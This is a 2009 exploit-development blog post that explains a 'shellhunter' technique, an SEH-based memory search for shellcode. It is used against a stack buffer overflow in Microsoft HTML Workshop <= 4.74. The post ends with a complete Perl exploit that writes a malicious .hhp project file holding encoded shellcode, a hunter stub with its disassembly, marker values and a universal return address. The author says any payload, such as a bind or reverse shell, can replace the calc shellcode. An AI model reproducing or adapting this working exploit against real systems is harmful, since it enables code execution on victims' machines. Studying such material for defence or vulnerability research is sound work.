Abysssec Security Research » shellcode http://www.abysssec.com/blog Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing Tue, 31 Jan 2012 15:52:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Microsoft HTML Workshop http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/ http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/#comments Sat, 10 Jan 2009 09:25:51 +0000 shahin http://abysssec.com/blog/?p=256

Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit -

Another step towards perfect exploitation

This is my next article explaining my second public exploit implementing my recent Shellhunting technique.

Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.

The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit?

Here is why:-

  1. To overflow the buffer, 280 bytes and above are needed, this isn’t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.
  2. To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.
  3. This address includes a “\x00″ byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.

Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.With the Shellhunter the shellcode may even include NULL bytes!

Lets recap what a shellhunter does:-

  1. Searches through memory for a certain “lookout” value that when located will revert program execution flow to the address at the “lookout”. Also the “lookout” values must be a set of friendly instructions that will not cause an unneeded “Access Violation”.
  2. In this case there is no need for it to be alphanumerical, also size does not matter.

The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape’s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).

Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the whole memory with the shellhunter.

Of course there are a few problems that come to mind with that:

  • Access Violations will occur when retrieving data from an invalid address.
  • We need to store the variable which is address currently searched.
  • The applications memory is a huge range from 0×00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.
  • Also, but I’ll discuss about this later, the stack layout has to be repaired by the shellhunter..

Wow, a load of problems.

Now I will write up how I solved them.

Access Violation problem when reading invalid memory

The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.

Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:

[ Pointer to the next SEH record]

[Pointer to exception handler code]

Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the “Pointer to exception handler code” point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.

If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the “lookout” value, if invalid, exception occurs and then again all over we set up SEH and check for “lookout”.

Save the current address variable somewhere in the heap

In this problem I used the address 0x7ffdfad0. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.

Speedy search through memory

At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used 32 bytes. But this also needed to increase the amount of “lookout” values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over 64*4 bytes of “lookout” value in the exploit!).

Repairing the Stack layout

This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.

That’s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don’t hesitate to contact me at skdrat<at>hotmail<.>com (MSN Messenger).

Read the exploit below, and enjoy it!

Milw0rm exploit URL: http://milw0rm.com/exploits/7727

Exploit:



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    #!/usr/bin/perl
    # Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit
    # -----------------------------------------------------------------
    # Discovered/Exploit by SkD                    (skdrat@hotmail.com)
    # -----------------------------------------------------------------
    #
    # This is a continuation of my new method, shellhunting.
    # The exploit is far more advanced than the Amaya's as it runs on
    # every system, partly because the shellhunter itself is very much
    # reliable and universal.
    # The shellhunter does the following tasks to find and exec.
    # shellcode:-
    #
    # 1- Searches through the whole memory of the application.
    # 2- Installs a SEH handler so on access violations it won't
    #    stop hunting for the shellcode.
    # 3- Repairs stack so a stack overflow won't occur (that is what
    #    happens when the SEH is called up, many PUSH instructions
    #    are called from the relevant modules (ntdll, etc).
    # 4- Improved speed by searching through 32 bytes at a time.
    # 5- Uses a certain address in memory to store a variable for the
    #    search.
    #
    # It is very stable and will allow any shellcode (bind/reverse shell,
    # dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).
    #
    # Yeah, I guess that's about it. Took me a few hours to figure out the
    # whole thing but nothing is impossible ;).
    #
    # Oh, I think some schools use this software :) (it's Microsoft's, right?).
    #
    # You can download the app. from Microsoft's official page:
    # ->  http://msdn.microsoft.com/en-us/library/ms669985.aspx
    #
    # If you are interested in my method and want to learn something new or
    # improve your exploitation skills then visit my team's blog at:
    # ->  http://abysssec.com
    #
    # Peace out,
    # SkD.
 
    my $hhp_data1 = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53".
    "\x5D\x0D\x0A\x43\x6F\x6E\x74\x65".
    "\x6E\x74\x73\x20\x66\x69\x6C\x65".
    "\x3D\x41\x0D\x0A\x49\x6E\x64\x65".
    "\x78\x20\x66\x69\x6C\x65\x3D";
    my $hhp_data2 = "\x5B\x46\x49\x4C\x45\x53\x5D\x0D".
    "\x0A\x61\x2E\x68\x74\x6D";
    my $crlf      = "\x0d\x0a";
 
    # win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
    my $shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
    "\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x51\x5a\x6a\x46".
    "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x56\x42\x32\x42\x41\x41\x32".
    "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x58\x69\x69\x6c\x4b".
    "\x58\x62\x64\x65\x50\x67\x70\x47\x70\x6c\x4b\x42\x65\x45\x6c\x6e".
    "\x6b\x73\x4c\x53\x35\x73\x48\x45\x51\x4a\x4f\x6c\x4b\x70\x4f\x52".
    "\x38\x4c\x4b\x33\x6f\x55\x70\x57\x71\x6a\x4b\x61\x59\x4c\x4b\x36".
    "\x54\x6e\x6b\x53\x31\x48\x6e\x55\x61\x39\x50\x4d\x49\x4c\x6c\x4d".
    "\x54\x6b\x70\x74\x34\x66\x67\x4b\x71\x78\x4a\x56\x6d\x67\x71\x39".
    "\x52\x48\x6b\x4c\x34\x35\x6b\x62\x74\x56\x44\x57\x74\x54\x35\x6b".
    "\x55\x4e\x6b\x31\x4f\x65\x74\x67\x71\x5a\x4b\x50\x66\x6c\x4b\x56".
    "\x6c\x42\x6b\x6e\x6b\x53\x6f\x47\x6c\x67\x71\x7a\x4b\x6c\x4b\x45".
    "\x4c\x6c\x4b\x47\x71\x48\x6b\x4f\x79\x33\x6c\x44\x64\x73\x34\x49".
    "\x53\x70\x31\x6b\x70\x71\x74\x4e\x6b\x73\x70\x56\x50\x4b\x35\x49".
    "\x50\x62\x58\x66\x6c\x4c\x4b\x43\x70\x56\x6c\x4c\x4b\x50\x70\x45".
    "\x4c\x4c\x6d\x6c\x4b\x35\x38\x77\x78\x78\x6b\x67\x79\x4e\x6b\x6b".
    "\x30\x6c\x70\x57\x70\x63\x30\x33\x30\x4c\x4b\x32\x48\x67\x4c\x73".
    "\x6f\x35\x61\x48\x76\x71\x70\x56\x36\x6c\x49\x4a\x58\x6e\x63\x69".
    "\x50\x41\x6b\x56\x30\x65\x38\x6c\x30\x6f\x7a\x75\x54\x73\x6f\x31".
    "\x78\x4e\x78\x79\x6e\x6f\x7a\x36\x6e\x66\x37\x6b\x4f\x5a\x47\x52".
    "\x43\x65\x31\x30\x6c\x70\x63\x45\x50\x46";
 
    #/----------------Advanced Shellhunter Code----------------\
    #01D717DD   EB 1E            JMP SHORT 01D717FD            |
    #01D717DF   83C4 64          ADD ESP,64                    |
    #01D717E2   83C4 64          ADD ESP,64                    |
    #01D717E5   83C4 64          ADD ESP,64                    |
    #01D717E8   83C4 64          ADD ESP,64                    |
    #01D717EB   83C4 64          ADD ESP,64                    |
    #01D717EE   83C4 64          ADD ESP,64                    |
    #01D717F1   83C4 64          ADD ESP,64                    |
    #01D717F4   83C4 64          ADD ESP,64                    |
    #01D717F7   83C4 64          ADD ESP,64                    |
    #01D717FA   83C4 54          ADD ESP,54                    |
    #01D717FD   33FF             XOR EDI,EDI                   |
    #01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |
    #01D71806   EB 0E            JMP SHORT 01D71816            |
    #01D71808   58               POP EAX                       |
    #01D71809   83E8 3C          SUB EAX,3C                    |
    #01D7180C   50               PUSH EAX                      |
    #01D7180D   6A FF            PUSH -1                       |
    #01D7180F   33DB             XOR EBX,EBX                   |
    #01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |
    #01D71814   EB 05            JMP SHORT 01D7181B            |
    #01D71816   E8 EDFFFFFF      CALL 01D71808                 |
    #01D7181B   B8 12121212      MOV EAX,12121212              |
    #01D71820   6BC0 02          IMUL EAX,EAX,2                |
    #01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71828   83C7 20          ADD EDI,20                    |
    #01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |
    #01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D7182F  ^75 F7            JNZ SHORT 01D71828            |
    #01D71831   83C7 04          ADD EDI,4                     |
    #01D71834   6BC0 02          IMUL EAX,EAX,2                |
    #01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71839  ^75 E0            JNZ SHORT 01D7181B            |
    #01D7183B   83C7 04          ADD EDI,4                     |
    #01D7183E   B8 42424242      MOV EAX,42424242              |
    #01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71845  ^75 D4            JNZ SHORT 01D7181B            |
    #01D71847   83C7 04          ADD EDI,4                     |
    #01D7184A   FFE7             JMP EDI                       |
    #\-----------------------End of Code----------------------/
 
    my $shellhunter = "\xeb\x1e".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x54".
    "\x33\xff".
    "\xba\xd0\xfa\xfd\x7f".
    "\x8b\x3a".
    "\xeb\x0e".
    "\x58".
    "\x83\xe8\x3c".
    "\x50".
    "\x6a\xff".
    "\x33\xdb".
    "\x64\x89\x23".
    "\xeb\x05".
    "\xe8\xed\xff\xff\xff".
    "\xb8\x12\x12\x12\x12".
    "\x6b\xc0\x02".
    "\xba\xd0\xfa\xfd\x7f".
    "\x83\xc7\x20".
    "\x89\x3a".
    "\x39\x07".
    "\x75\xf7".
    "\x83\xc7\x04".
    "\x6b\xc0\x02".
    "\x39\x07".
    "\x75\xe0".
    "\x83\xc7\x04".
    "\xb8\x42\x42\x42\x42".
    "\x39\x07".
    "\x75\xd4".
    "\x83\xc7\x04".
    "\xff\xe7";
    my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64;
    my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64;
    my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64;
    my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64;
    my $len = 280 - (length($shellhunter) + 55);
    my $overflow1 = "\x41" x $len;
    my $overflow2 = "\x41" x 55;
    my $overflow3 = "\x42" x 256;
    my $ret = "\x93\x1f\x40\x00"; #0x00401f93   CALL EDI [hhw.exe]
 
    open(my $hhpprj_file, "> s.hhp");
    print $hhpprj_file $hhp_data1.
    $overflow1.$shellhunter.$overflow2.$ret.
    $crlf.$crlf.
    $hhp_data2.
    $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3.
    $crlf;
    close $hhpprj_file;
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